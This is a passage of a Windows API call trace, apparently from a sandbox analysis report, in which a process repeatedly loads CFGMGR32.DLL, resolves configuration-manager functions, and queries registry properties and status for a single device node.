(hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.605] malloc (_Size=0x18) returned 0x196ef0d1e60 [0225.605] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0225.605] malloc (_Size=0x38) returned 0x196ef0d0d50 [0225.606] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0d50, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0d50, pulLength=0x67117d608) returned 0x0 [0225.606] free (_Block=0x196ef0d0d50) [0225.606] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0225.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67536a41, dwHighDateTime=0x1d9eb0c)) [0225.606] SetEvent (hEvent=0x248) returned 1 [0225.608] malloc (_Size=0x18) returned 0x196ef0d2000 [0225.608] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0225.608] free (_Block=0x196ef0d2000) [0225.608] malloc (_Size=0x18) returned 0x196ef0d1f60 [0225.608] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0225.608] free (_Block=0x196ef0d1f60) [0225.608] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854fe0 [0225.608] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0225.608] SafeArrayGetLBound (in: psa=0x196ef1f2870, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0225.609] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0225.609] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0225.609] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0225.609] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0225.609] SafeArrayGetElemsize (psa=0x196ef1f2870) returned 0x8 [0225.609] SafeArrayGetElement (in: psa=0x196ef1f2870, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0225.609] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.609] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.610] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0225.610] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854fe0) returned 1 [0225.610] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.610] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.612] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.613] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.613] malloc (_Size=0x18) returned 0x196ef0d1f40 [0225.613] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.663] malloc (_Size=0x48) returned 0x196ef0fb400 [0225.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x675cf253, dwHighDateTime=0x1d9eb0c)) [0225.663] SetEvent (hEvent=0x248) returned 1 [0225.667] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.667] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.669] malloc (_Size=0x18) returned 0x196ef0d2080 [0225.670] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.670] malloc (_Size=0x48) returned 0x196ef0fb720 [0225.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x675cf253, dwHighDateTime=0x1d9eb0c)) [0225.670] SetEvent (hEvent=0x248) returned 1 [0225.673] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.673] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.676] malloc (_Size=0x18) returned 0x196ef0d20e0 [0225.676] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.676] malloc (_Size=0x48) returned 0x196ef0fb770 [0225.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x675f5545, dwHighDateTime=0x1d9eb0c)) [0225.677] SetEvent (hEvent=0x248) returned 1 [0225.679] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.680] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.682] malloc (_Size=0x18) returned 0x196ef0d1f80 [0225.682] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0225.682] malloc (_Size=0x48) returned 0x196ef0fbd10 [0225.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x675f5545, dwHighDateTime=0x1d9eb0c)) [0225.683] SetEvent (hEvent=0x248) returned 1 [0225.687] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.687] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.690] malloc (_Size=0x18) returned 0x196ef0d2040 [0225.690] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.692] malloc (_Size=0x48) returned 0x196ef0fb590 [0225.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6761b60d, dwHighDateTime=0x1d9eb0c)) [0225.692] SetEvent (hEvent=0x248) returned 1 [0225.696] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.696] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.698] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0225.698] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x28, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0225.699] malloc (_Size=0x48) returned 0x196ef0fbe50 [0225.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6761b60d, dwHighDateTime=0x1d9eb0c)) [0225.699] SetEvent (hEvent=0x248) returned 1 [0225.704] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.704] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.707] 